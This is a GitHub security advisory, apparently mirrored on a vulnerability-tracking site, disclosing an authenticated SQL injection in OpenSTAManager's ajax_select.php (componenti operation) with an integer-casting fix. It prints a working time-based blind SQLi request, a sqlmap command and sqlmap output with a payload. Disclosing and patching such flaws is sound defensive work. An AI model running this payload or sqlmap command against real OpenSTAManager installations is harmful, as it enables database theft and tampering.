GHSA-QJV8-63XQ-GQ8M
Vulnerability from github – Published: 2026-02-06 18:04 – Updated: 2026-02-06 18:04
VLAI?
Summary
OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)
Details
Summary
A SQL Injection vulnerability exists in the ajax_select.php endpoint when handling the componenti operation. An authenticated attacker can inject malicious SQL code through the options[matricola] parameter.
Proof of Concept
Vulnerable Code
File: modules/impianti/ajax/select.php:122-124
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
Data Flow
- Source:
$_GET['options']['matricola']→$superselect['matricola'] - Vulnerable: User input concatenated directly into
IN()clause without sanitization - Sink: Query executed via AJAX framework
Exploit
Manual PoC (Time-based Blind SQLi):
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
SQLMap Exploitation:
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
SQLMap Output:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
Impact
- Data Exfiltration: Time-based blind SQL Injection allows complete database extraction
- Authentication Bypass: Access to sensitive component and equipment data
- Data Manipulation: Potential unauthorized modification of records
Remediation
Cast values to integers before using in SQL:
Before:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
After:
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
Credit
Discovered by: Łukasz Rybak
Severity ?
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "devcode-it/openstamanager"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.9.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-69214"
],
"database_specific": {
"cwe_ids": [
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-06T18:04:32Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nA SQL Injection vulnerability exists in the `ajax_select.php` endpoint when handling the `componenti` operation. An authenticated attacker can inject malicious SQL code through the `options[matricola]` parameter.\n\n## Proof of Concept\n\n### Vulnerable Code\n**File:** `modules/impianti/ajax/select.php:122-124`\n\n```php\ncase \u0027componenti\u0027:\n $impianti = $superselect[\u0027matricola\u0027];\n if (!empty($impianti)) {\n $where[] = \u0027`my_componenti`.`id_impianto` IN (\u0027.$impianti.\u0027)\u0027;\n }\n```\n\n### Data Flow\n1. **Source:** `$_GET[\u0027options\u0027][\u0027matricola\u0027]` \u2192 `$superselect[\u0027matricola\u0027]`\n2. **Vulnerable:** User input concatenated directly into `IN()` clause without sanitization\n3. **Sink:** Query executed via AJAX framework\n\n### Exploit\n\n**Manual PoC (Time-based Blind SQLi):**\n```http\nGET /ajax_select.php?op=componenti\u0026options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1\nHost: localhost:8081\nCookie: PHPSESSID=\u003cvalid-session\u003e\n```\n\u003cimg width=\"1306\" height=\"581\" alt=\"image\" src=\"https://github.com/user-attachments/assets/238015dd-5644-4eed-ae8f-864dc0073011\" /\u003e\n\n**SQLMap Exploitation:**\n```bash\nsqlmap -u \u0027http://localhost:8081/ajax_select.php?op=componenti\u0026options[matricola]=1*\u0027 \\\n --cookie=\"PHPSESSID=\u003csession\u003e\" \\\n --dbms=MySQL \\\n --technique=T \\\n --level=3 \\\n --risk=3\n```\n\n**SQLMap Output:**\n```\n[INFO] URI parameter \u0027#1*\u0027 appears to be \u0027MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\u0027 injectable\nParameter: #1* (URI)\n Type: time-based blind\n Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI\nback-end DBMS: MySQL \u003e= 5.0.12\n```\n\u003cimg width=\"1228\" height=\"801\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b0b7078b-09a7-4e53-956c-baf1d09ed59b\" /\u003e\n\n## Impact\n- **Data Exfiltration:** Time-based blind SQL Injection allows complete database extraction\n- **Authentication Bypass:** Access to sensitive component and equipment data\n- **Data Manipulation:** Potential unauthorized modification of records\n\n## Remediation\n\nCast values to integers before using in SQL:\n\n**Before:**\n```php\n$impianti = $superselect[\u0027matricola\u0027];\nif (!empty($impianti)) {\n $where[] = \u0027`my_componenti`.`id_impianto` IN (\u0027.$impianti.\u0027)\u0027;\n}\n```\n\n**After:**\n```php\n$impianti = $superselect[\u0027matricola\u0027];\nif (!empty($impianti)) {\n $ids = array_map(\u0027intval\u0027, explode(\u0027,\u0027, $impianti));\n $where[] = \u0027`my_componenti`.`id_impianto` IN (\u0027.implode(\u0027,\u0027, $ids).\u0027)\u0027;\n}\n```\n\n## Credit\nDiscovered by: \u0141ukasz Rybak",
"id": "GHSA-qjv8-63xq-gq8m",
"modified": "2026-02-06T18:04:32Z",
"published": "2026-02-06T18:04:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m"
},
{
"type": "PACKAGE",
"url": "https://github.com/devcode-it/openstamanager"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OpenSTAManager has a SQL Injection in ajax_select.php (componenti endpoint)"
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…